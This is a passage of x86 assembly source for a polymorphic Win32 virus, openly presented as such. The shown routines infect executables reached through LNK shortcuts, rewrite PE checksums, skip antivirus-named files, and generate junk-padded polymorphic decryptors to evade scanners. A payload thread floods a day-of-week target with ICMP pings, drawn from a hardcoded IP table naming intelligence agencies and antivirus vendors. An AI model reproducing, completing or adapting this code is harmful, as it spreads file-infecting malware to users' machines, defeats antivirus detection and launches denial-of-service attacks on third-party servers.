push dword ptr [ebp+MapAddress]
call dword ptr [ebp+XCheckSumMappedFile]
test eax, eax ; if this failed we don't save
jz NoCRC ; the crc
mov eax, dword ptr [ebp+MapAddress]
; eax points to the dos-stub
mov esi, [eax+3Ch] ; esi points to PE-Header
add esi, eax ; save CRC in header
mov eax, dword ptr [ebp+CheckSum]
mov [esi+58h], eax
NoCRC:
ret
NoEXE: ; let's return and close the infected file
; this will also write it to disk !
stc
ret
; ***************************************************************************
; ------------------------[ Infect an LNK-FILE ]-----------------------------
; ***************************************************************************
InfectLNK: ; if we find a link file, we try to find the
; file it points to. If it is a EXE File we are able
; to infect, we do so
; this will not work with NT-LNK-Files, there we will
; receive only the Drive, where the file is located
; ok, if a LNK is bigger than 1 Meg, it is none
; we check .. ;)
cmp dword ptr [ebp+WFD_nFileSizeLow] , 0400h
ja NoLNK
; get the start addy in esi, and and the size
mov esi, dword ptr [ebp+MapAddress]
mov ecx, dword ptr [ebp+WFD_nFileSizeLow]
xor edx, edx
add esi, ecx ; we start checking at the end of the file
; for a valid filename in it
CheckLoop:
cmp byte ptr [esi], 3ah ; we detect a filename by the 2 dots ( 3ah = : )
jne LNKSearch ; in the Drive
inc edx ; there are 2 times 2 dots, when checking from
cmp edx, 2d ; the end of the LNK, we need the 2.nd
je PointsDetected
LNKSearch: ; go on searching
dec esi
loop CheckLoop
; if we end here, we did not find the two dots.. :(
NoLNK:
ret
PointsDetected: ; we found the drive ( two dots ... *g* )
; esi points to them, now we need to check
; for the start of the name..
cmp byte ptr [esi+1], 0h ; check if we got an entire path or just a
je NoLNK ; single drive ( may happen in NT / 2k )
PointsDetected2:
dec esi
cmp byte ptr [esi], 0h
je NameDetected
loop PointsDetected2 ; ecx still takes care, that we don't
; search too far..
jmp NoLNK ; nothing found ? return..
NameDetected: ; ok, esi points now to the name of the file
; so we try a FindFileFirst to get the information
; first, we save the information in the WIN32_FIND_DATA
; then we try to find the file.
inc esi
push esi ; save it
lea esi, [ebp+WIN32_FIND_DATA]
lea edi, [ebp+Buffer] ; save the old WIN32_FIND_DATA
mov ecx, 337d ; and some more data
rep movsb
lea edi, [ebp+WIN32_FIND_DATA]
xor eax, eax ; clean this field
mov ecx, 337d
rep stosb
pop esi
call FindFirstFileProc
inc eax
jz RestoreLNK ; If there are no files, we return
dec eax
; otherwise we save the handle
; if we went here, we know the file exists
; esi still points to the filename including the
; directory, we save this in the win32_Find_DATA
; field, because the name there contains no path
lea edi, [ebp+WFD_szFileName]
mov ecx, 259d ; we just move 259 Bytes, so there is still a ending
; Zero if the name is longer and we just get a simple error
; and not an SEH or some other shit
rep movsb
lea esi, [ebp+WFD_szFileName]
call InfectFile ; esi points to the filename again, so we infect it ;)
push dword ptr [ebp+LNKFindHandle]
call dword ptr [ebp+XFindClose]
RestoreLNK:
lea edi, [ebp+WIN32_FIND_DATA]
lea esi, [ebp+Buffer] ; restore the old WIN32_FIND_DATA
mov ecx, 337d ; and some other data
rep movsb
ret ; return to find more files
LNKFindHandle dd 0h ; here we save the search-handle
; ***************************************************************************
; ---------------------[ The evil Part: the Payload ]------------------------
; ***************************************************************************
PayLoad: ; here we handle the payload of the virus *eg*
cmp dword ptr [ebp+W32Handle],0
jne ExecuteHost
cmp dword ptr [ebp+XCreateThread],0
je ExecuteHost ; we better check this, cause this api does not exist in 2k
lea eax, [ebp+SystemTime] ; retrieve current date, time,.. whatever
push eax
call dword ptr [ebp+XGetSystemTime]
lea esi, [ebp+wDayOfWeek] ; get the day
xor eax, eax
lodsw
shl eax, 2h ; multiply with 4
; get Target
lea esi, [ebp+TargetTable]
add esi, eax
lea edi, [ebp+Target_IP] ; write IP to Destination Address Field
movsd
; we get a nice target for the payload
; and create a new thread to fulfill it ;)
push offset threadID ; here we save the thread ID
push 0h
push 0h
push offset PingFlood ; here starts the code of the new thread
push 0h
push 0h
call dword ptr [ebp+XCreateThread]
jmp ExecuteHost ; we're finished, so we execute the host-file
PingFlood: ; this is the thread of the payload !
; here are we doing the really evil thingies ;)
; we will start pinging a server ;P
lea eax, [ebp+offset WSA_DATA]
push eax ; where is it..
push 0101h ; required version
call dword ptr [ebp+XWSAStartup]
push 1 ; We want to use the icmp protocoll
push 3 ; SOCK_STREAM
push 2 ; Address Format
call dword ptr [ebp+Xsocket]
mov dword ptr [ebp+ICMP_Handle], eax
push 4 ; set the options ( timeout, not really
; nessecairy in this case *g* )
lea eax, [ebp+offset Timeout]
push eax
push 1006h
push 0FFFFh
push eax
call dword ptr [ebp+Xsetsockopt]
; we need to create a checksum for the packet
lea esi, [ebp+ICMP_Packet]; nothing serious just some additions
push 6 ; we do this for 6 words
pop ecx ; = 12 bytes
xor edx, edx
CreateICMP_CRC: ; load one
lodsw
movzx eax, ax ; mov it to eax ( clean upper part of eax )
add edx, eax ; add it to edx ( we just add them all )
loop CreateICMP_CRC
movzx eax, dx ; add the lower ( dx ) and the upper part of
shr edx, 16d ; edx together in eax
add eax, edx
movzx edx, ax ; save ax in edx
shr eax, 16d ; mov upper part of eax to ax ( clean upper part )
add eax, edx ; add old ax to new ax ( add upper part to lower part )
not eax ; eax = - 1 * ( eax + 1 )
; this is our checksum
mov word ptr [ebp+ICMP_CRC], ax
push 16d ; get it out, we send our packet !
lea eax, [ebp+offset Info]
push eax
push 0
push 12d
lea eax, [ebp+offset ICMP_Packet]
push eax
push dword ptr [ebp+ICMP_Handle]
call dword ptr [ebp+Xsendto]
CloseSocket: ; close the socket, to stay stable ;)
push dword ptr [ebp+ICMP_Handle]
call dword ptr [ebp+Xclosesocket]
call dword ptr [ebp+XWSACleanup]
jmp PingFlood ; heh that was fun, let's do it again ;)
Timeout dd 100000d ; 10000 ms Timeout ( we don't really care about it *g* )
Info:
dw 2h
dw 0h
Target_IP db 0d, 0d, 0d, 0d
dd 0h ; there we will fill in the target ip address ;)
ICMP_Packet db 8h
db 0h
ICMP_CRC dw 0h ; for the CRC Calculation of the ping
dd 0h
dd 0h
dd 0h
ICMP_Handle dd 0h ; the handle of the open Socket
TargetTable: ; these are our targets
; please note again, that i don't want to damage one
; of these servers ! I choose them because I think that
; they will stand such an attack if anyone will ever release this
; into the wild !!!
db 62d, 156d, 146d, 231d ; Sunday = www.bundesnachrichtendienst.de
db 195d, 154d, 220d, 34d ; Monday = French Secret Service ( dgse.citeweb.net )
db 216d, 122d, 8d, 245d ; Tuesday = www.avp.com ( AV )
db 216d, 41d, 20d, 75d ; Wednesday = www.lockdown2000.com
db 194d, 252d, 6d, 47d ; Thursday = www.f-secure.com
db 208d, 226d, 167d, 23d ; Friday = www.norton.com
db 205d, 178d, 21d, 3d ; Saturday = www.zonelabs.com
; ***************************************************************************
; -------------------------[ Align-Procedure ]-------------------------------
; ***************************************************************************
; lets align the size..
; eax - size
; ecx - base
Align:
push edx
xor edx, edx
push eax
div ecx
pop eax
sub ecx, edx
add eax, ecx
pop edx ; eax - new size
ret
; ***************************************************************************
; --------------------------[ FindFile Procedures ]--------------------------
; ***************************************************************************
FindFirstFileProc:
lea eax, [ebp+WIN32_FIND_DATA]
push eax
push esi
call dword ptr [ebp+XFindFirstFileA]
mov dword ptr [ebp+FindHandle], eax
ret
FindNextFileProc:
lea edi, [ebp+WFD_szFileName]
mov ecx, 276d ; we clear these fields !
xor eax, eax
rep stosb
lea eax, [ebp+WIN32_FIND_DATA]
push eax
mov eax, dword ptr [ebp+FindHandle]
push eax
call dword ptr [ebp+XFindNextFileA]
ret
CheckFileName:
pushad
lea esi, [ebp+WFD_szFileName]
mov edi, esi
mov ecx, 260d
ConvertLoop: ; Convert to upper cases
lodsb
cmp al, 96d
jb Convert
cmp al, 123d
ja Convert
or al, al
jz EndConvert
sub al, 32d
Convert:
stosb
loop ConvertLoop
EndConvert:
lea edi, [ebp+WFD_szFileName]
lea esi, [ebp+FileNames]
mov ecx, 3h
FileNameCheck: ; check for av-names
push ecx ; i don't want to infect them
mov ecx, 260d
CheckON:
lodsb
repnz scasb
or ecx, ecx
jnz AVFile
pop ecx
inc esi
loop FileNameCheck
jmp EndFileNameCheck
AVFile:
mov al, byte ptr [esi] ; check if the second char also matches
cmp byte ptr [edi], al
je GotAVFile
dec esi
jmp CheckON
GotAVFile:
pop ecx ; clear stack
popad
stc ; set carriage flag
ret
EndFileNameCheck:
popad
clc
ret
FileNames db 'AV' ; we avoid these names
db 'AN' ; so we will not infect an AV and
db 'DR' ; alert the user
;****************************************************************************
; ---------------------[ Checks for PE / MZ Signs ]--------------------------
; ***************************************************************************
; we check here for PE and MZ signs
; to identify the Executable we want to infect
; I do this a little bit different than usual *g*
CheckPESign:
cmp dword ptr [edi], 'FP' ; check if greater or equal to PF
jae NoPESign
cmp dword ptr [edi], 'DP' ; check if lower or equal to PD
jbe NoPESign
clc ; all that's left is PE
ret
NoPESign:
stc ; set carriage flag
ret
CheckMZSign:
cmp word ptr [esi], '[M'
jae NoPESign
cmp word ptr [esi], 'YM'
jbe NoPESign
clc
ret
ret
; ***************************************************************************
; ----------------[ Generate a pesudo-random Number ]------------------------
; ***************************************************************************
GetRand:
; generate a pseudo-random NR.
; based on some initial registers
push ecx ; and the Windows - Ontime
add ecx, eax
call dword ptr [ebp+XGetTickCount]
add eax, ecx
add eax, ecx
add eax, edx
add eax, edi
add eax, ebp
add eax, dword ptr [ebp+PolyLen]
add eax, dword ptr [ebp+LoopLen]
sub eax, esi
sub eax, ebx
pop ecx
add eax, ecx
add al, byte ptr [ebp+Reg1]
add ah, byte ptr [ebp+Reg2]
or eax, eax
jne GetOutRand
mov eax, 87654321h
inc eax
GetOutRand:
xor edx, edx ; clean edx ( needed to be able to divide later )
div ecx ; Random Numer is in EAX
; RND No. 'till ECX in EDX
ret
; ***************************************************************************
; ----------------------[ Generate a Poly Decryptor ]------------------------
; ***************************************************************************
genPoly:
and dword ptr [ebp+PolyLen], 0h
push 10h
pop ecx
call GetRand ; get a random number to start
; and save it as the new key used for all files
mov byte ptr [ebp+PolyKey], al
call GetRegs
lea edi, [ebp+PDecrypt] ; here starts the decryptor
call RandJunk
; we have 3 different ways to put
; the size in ecx and 3 different ways
; to get the starting offset in esi
push 2h ; divide by 2
pop ecx
call GetRand ; get a random number to decide what we do
; first
; we need these 2 values before we start the
; decryption loop !
; if edx = 1 we use the second one
dec edx ; chose the Order
jz SecondOrder
FirstOrder:
call GenerateESI ; esi comes first and ecx follows
call RandJunk
call GenerateECX ; and 4 different ways to get size in exc
jmp Polypreparefinished ; so there is nothing static here !
SecondOrder: ; ecx comes first and esi follows
call GenerateECX
call RandJunk
call GenerateESI
Polypreparefinished: ; we finished the preparing and can start the loop
; we need a
; xor byte ptr [esi], key ( or other crypto )
; inc esi / add esi, 1h
; loop Decryptor / dec ecx , jnz Above ..
; lenght of loop = 0
and dword ptr [ebp+LoopLen], 0
; now we choose the way we crypt this thing !
push 5h
pop ecx
call GetRand
mov dword ptr [ebp+CryptType], edx
XorDecrypt: ; we use a simple XOR BYTE PTR [ESI], KEY
dec edx
jnz NegDecrypt
mov ax, 3680h ; xor byte ptr [esi]
stosw
mov al, byte ptr [ebp+PolyKey]
stosb
; increase sizes ( we will add the last 2 bytes later )
add dword ptr [ebp+LoopLen], 1h
add dword ptr [ebp+PolyLen], 1h
jmp EndPolyCrypto
NegDecrypt: ; neg byte ptr [esi]
dec edx
jnz NotDecrypt
mov ax, 1EF6h
stosw
jmp EndPolyCrypto
NotDecrypt: ; not byte ptr [esi]
dec edx
jnz IncDecrypt
mov ax, 16F6h
stosw
jmp EndPolyCrypto
IncDecrypt: ; inc byte ptr [esi]
dec edx
jnz DecDecrypt
mov ax, 06FEh
stosw
jmp EndPolyCrypto
DecDecrypt: ; dec byte ptr [esi]
mov ax, 0EFEh
stosw
EndPolyCrypto: ; add the last 2 bytes
add dword ptr [ebp+LoopLen], 2h
add dword ptr [ebp+PolyLen], 2h
call RandJunk ; more junk.. ;)
; now we need to increase esi
; to crypt the next byte
push 3h
pop ecx
call GetRand
IncESI1:
dec edx
jnz IncESI2
mov al, 46h ; do a simple inc esi
stosb
jmp EndIncESI
IncESI2: ; add esi, 1h
dec edx
jnz IncESI3
mov al, 83h
stosb
mov ax, 01C6h
stosw
jmp EndIncESI2
IncESI3: ; clc, adc esi, 1h
mov eax, 01d683f8h
stosd
add dword ptr [ebp+LoopLen], 1h
add dword ptr [ebp+PolyLen], 1h
EndIncESI2:
add dword ptr [ebp+LoopLen], 2h
add dword ptr [ebp+PolyLen], 2h
EndIncESI:
add dword ptr [ebp+LoopLen], 1h
add dword ptr [ebp+PolyLen], 1h
call RandJunk ; more, and more..
; now esi is incremented and we just have to do
; the loop
push 3h
pop ecx
call GetRand
LoopType1: ; we use the most common form : loop ;)
dec edx
jnz LoopType2
mov al, 0e2h
stosb
call StoreLoopLen
jmp EndLoopType
LoopType2: ; we do a dec ecx, jnz
dec edx
jnz LoopType3
mov ax, 7549h
stosw ; correct Loop Size ( dec ecx = 1 byte )
add dword ptr [ebp+LoopLen], 1h
call StoreLoopLen
add dword ptr [ebp+PolyLen], 1h
jmp EndLoopType
LoopType3:
mov eax, 0F98349h ; dec ecx cmp ecx, 0h
stosd
add dword ptr [ebp+LoopLen], 4h
mov al, 75h ; jne
stosb
add dword ptr [ebp+PolyLen], 3h
call StoreLoopLen
EndLoopType:
add dword ptr [ebp+PolyLen], 2h
mov byte ptr [edi], 0C3h ; save the ending ret
add dword ptr [ebp+PolyLen], 2h
mov eax, VirusSize ; calculate the new size for the virus
add eax, dword ptr [ebp+PolyLen]
mov dword ptr [ebp+VirLen], eax
ret
StoreLoopLen:
xor eax, eax ; calculate the size for the loop
mov ax, 100h
sub eax, dword ptr [ebp+LoopLen]
sub eax, 2h
stosb
ret
; ***************************************************************************
; --------------------------[ Insert Junk Code ]----------------------------
; ***************************************************************************
RandJunk: ; edi points to the place where they will be stored
; we will insert 1-8 junk instructions
push 7d ; each time this routine is called
pop ecx
call GetRand
xchg ecx, edx
inc ecx
push ecx
RandJunkLoop:
push ecx
push 8h
pop ecx
call GetRand ; get a random number from 0 to 7
xchg eax, edx
lea ebx, [ebp+OpcodeTable]
xlat ; get the choosen opcode
stosb ; and save it to edi
xor eax, eax ; clean eax
; get first Register
mov al, byte ptr [ebp+Reg1]
shl eax, 3h ; multiply with 8
add eax, 0c0h ; add base
; add the second register
add al, byte ptr [ebp+Reg2]
stosb ; save opcode
XchangeRegs: ; we get new ones and exchange them
Call GetRegs ; cause the rnd - generator relies on them *g*
mov al, byte ptr [ebp+Reg1]
mov ah, byte ptr [ebp+Reg2]
mov byte ptr [ebp+Reg1], ah
mov byte ptr [ebp+Reg2], al
pop ecx ; restore ecx
loop RandJunkLoop ; and loop
pop ecx ; we need the additional lenght
shl ecx, 1 ; multiply with 2
; save it
add dword ptr [ebp+LoopLen], ecx
add dword ptr [ebp+PolyLen], ecx
ret
OpcodeTable:
db 08Bh ; mov
db 033h ; xor
db 00Bh ; or
db 02Bh ; sub
db 003h ; add
db 023h ; and
db 013h ; adc
db 01Bh ; sbb
GetRegs: ; select two registers to use
; set to Error
pushad
mov byte ptr [ebp+Reg1], -1
mov byte ptr [ebp+Reg2], -1
lea edi, [ebp+Reg1]
mov ecx, 2
; now we choose 2 registers we use
NextReg: ; to make the junk code look realistic
push ecx
push 8h
pop ecx
call GetRand
pop ecx
cmp edx, 1h ; we will not use ECX
je NextReg
cmp edx, 4h ; ESP
je NextReg
cmp edx, 6h ; or ESI, cause these values are important
je NextReg ; for the decryptor or the virus to work.
mov al, dl ; save it
stosb
loop NextReg
popad
ret
; ***************************************************************************
; -------------------------[ Get esi from stack ]----------------------------
; ***************************************************************************
GenerateESI:
; the first thing we do is to get the
; start of the crypted code, this is simpel,
; it is our return address, so we get it from
; stack
; there are 3 different ways we can do this
push 3h
pop ecx
call GetRand
dec edx ; which way to we use ?
jnz ESI2
ESI1:
lea esi, [ebp+movESI] ; use the mov esi, [esp] instruction
movsw ; 3 bytes long
movsb
add dword ptr [ebp+PolyLen], 3h
jmp EndESI ; get back
ESI2: ; we simply pop esi and push it again
dec edx
jnz ESI3
mov al, 5eh ; pop esi
stosb
mov al, 56h
stosb ; push esi
add dword ptr [ebp+PolyLen],2h
jmp EndESI
ESI3:
push 5h
pop ecx
call GetRand
xchg eax, edx
cmp al, 1h ; if we got ecx, we use eax
jne ESI3b
xor eax, eax
ESI3b:
mov edx, eax
push edx ; save edx
add eax, 58h ; pop a register
stosb
pop eax ; push the value again
push eax
add eax, 50h
stosb
mov al, 08bh ; and finally move it to esi
stosb
pop eax
mov al, 0f0h
add al, dl
stosb
add dword ptr [ebp+PolyLen], 4h
EndESI:
ret
; code to retrieve the start of crypt-code
movESI db 8bh, 34h, 24h ; mov esi, [esp]
; ***************************************************************************
; --------------------------[ Move the size to ECX ]-------------------------
; ***************************************************************************
GenerateECX: ; here we put the size of the crypted
; part in ecx
push 3h
pop ecx
call GetRand ; random Nr in edx
inc edx ; increase
ECX1: ; use a simple mov
dec edx
jnz ECX2
mov al, 0b9h ; mov
call StoreALValue
jmp EndECX
ECX2: ; let's use a push ( value )
dec edx ; pop ecx
jnz ECX3
mov al, 068h ; push
call StoreALValue
mov al, 59h ; save the pop ecx
stosb
add dword ptr [ebp+PolyLen], 1h
jmp EndECX
ECX3:
push -1
pop ecx
call GetRand
mov eax, VirusSize
shl edx, 26d
shr edx, 26d
sub eax, edx
push eax ; mov ecx, Size - X
mov al, 0b9h
stosb ; and the size we need to decrypt
pop eax
stosb
call StoShrEAX
mov ax, 0c181h ; add ecx, X
stosw
xor eax, eax
mov al, dl
stosb
call StoShrEAX
add dword ptr [ebp+PolyLen], 11d
jmp EndECX ; finish
StoreECX: ; save the mov
push ax ; save the register
mov al, 0b8h ; save the mov reg, size
add al, dl
call StoreALValue
mov al, 03h ; add ecx, reg
stosb
pop ax ; get the chosen register
add al, 0c8h
stosb
add dword ptr [ebp+PolyLen], 4h
EndECX: ; let's return
ret
StoShrEAX: ; to save dwords backwards
push 3
pop ecx
StoShrEAXLoop:
shr eax, 8
stosb
loop StoShrEAXLoop
ret
StoreALValue: ; we store the instruction in al
stosb ; and the size we need to decrypt
mov eax, FirstLSize ; eax, size
stosb
call StoShrEAX
add dword ptr [ebp+PolyLen], 5h
add dword ptr [ebp+LoopLen], 5h
ret
; ***************************************************************************
; -------------------[ Data which does not travel ]--------------------------
; ***************************************************************************
VirusEnd: ; ok, this data will travel, but will be generated
; new on each run
PDecrypt: ; here will we add the polymorphic
; decryption routine later, but not included
; into 1.st generation
ret ; so we just return
db 150d dup (0h) ; we keep 150 bytes free, so we have a buffer
; for the poly decryptor
; here we save the data which does not
; travel which each copy of the virus
PolyKey db (?) ; key for the poly decryptor
PolyLen dd (?) ; lenght of decryptor
VirLen dd (?) ; virus lenght + decryptor
LoopLen dd (?) ; lenght of the decryption loop
CryptType dd (?) ; we save which kind of encryption we use
Reg1 db (?) ; here we save the registers we use for the junk
Reg2 db (?) ; code
SEH_Save dd (?) ; We save the original SEH
; Handles of the dll's we use
K32Handle dd (?) ; Kernel32.dll might be nessecairy *g*
IHLHandle dd (?) ; Imagehlp.dll to create checksums
ADVHandle dd (?) ; Advapi32.dll for registry access
W32Handle dd (?) ; Winsck32.dll for pinging
; The Offsets of the API's we use
XLoadLibraryA dd (?) ; Here we save their Offset
XGetProcAddress dd (?)
XFindFirstFileA dd (?)
XFindNextFileA dd (?)
XFindClose dd (?)
XCreateFileA dd (?)
XSetFileAttributesA dd (?)
XCloseHandle dd (?)
XCreateFileMappingA dd (?)
XMapViewOfFile dd (?)
XUnmapViewOfFile dd (?)
XGetWindowsDirectoryA dd (?)
XGetSystemDirectoryA dd (?)
XGetCurrentDirectoryA dd (?)
XSetCurrentDirectoryA dd (?)
XGetFileAttributesA dd (?)
XGetTickCount dd (?)
XCreateThread dd (?)
XGetSystemTime dd (?)
XCheckSumMappedFile dd (?)
XRegOpenKeyExA dd (?)
XRegQueryValueExA dd (?)
XRegCloseKey dd (?)
Xsocket dd (?)
XWSACleanup dd (?)
XWSAStartup dd (?)
Xclosesocket dd (?)
Xsendto dd (?)
Xsetsockopt dd (?)
; Data to search Kernel
KernelAddy dd (?) ; Pointer to kernel PE-Header
MZAddy dd (?) ; Pointer to kernel MZ-Header
RegHandle dd (?) ; Handle to open Reg-Key
; Directory's
windir db 7Fh dup (0) ; here we save the directory's
curdir db 7Fh dup (0) ; we want to infect
; some data for infection
counter dw (?) ; a counter to know how many names we have compared
ATableVA dd (?) ; the Address Table VA
NTableVA dd (?) ; the Name Pointer Table VA
OTableVA dd (?) ; the Name Pointer Table VA
NewSize dd (?) ; we save the new size of the file here
CheckSum dd (?) ; checksum
HeaderSum dd (?) ; crc of header
; Data to find files
WIN32_FIND_DATA label byte
WFD_dwFileAttributes dd ?
WFD_ftCreationTime FILETIME ?
WFD_ftLastAccessTime FILETIME ?
WFD_ftLastWriteTime FILETIME ?
WFD_nFileSizeHigh dd ?
WFD_nFileSizeLow dd ?
WFD_dwReserved0 dd ?
WFD_dwReserved1 dd ?
WFD_szFileName db 260d dup (?)
WFD_szAlternateFileName db 13 dup (?)
WFD_szAlternateEnding db 03 dup (?)
FileHandle dd (?) ; handle of file
MapHandle dd (?) ; Handle of Map
MapAddress dd (?) ; offset of Map
Attributes dd (?) ; saved File-Attributes
threadID dd (?) ; payload runs in an extra thread
; we need this buffer for follwing
; the shortcuts
Buffer db 337d dup (?)
; this buffer is nessecairy
; to create a winsock connection ( ping )
WSA_DATA db 400d dup (0)
SystemTime: ; needed to get the current day
wYear dw (?)
wMonth dw (?)
wDayOfWeek dw (?) ; Sunday = 0, Monday = 1 .. etc.
wDay dw (?)
wHour dw (?)
wMinute dw (?)
wSecond dw (?)
wMilliseconds dw (?)
EndBufferData:
; ***************************************************************************
; ------------------------[ That's all folks ]-------------------------------
; ***************************************************************************
end Virus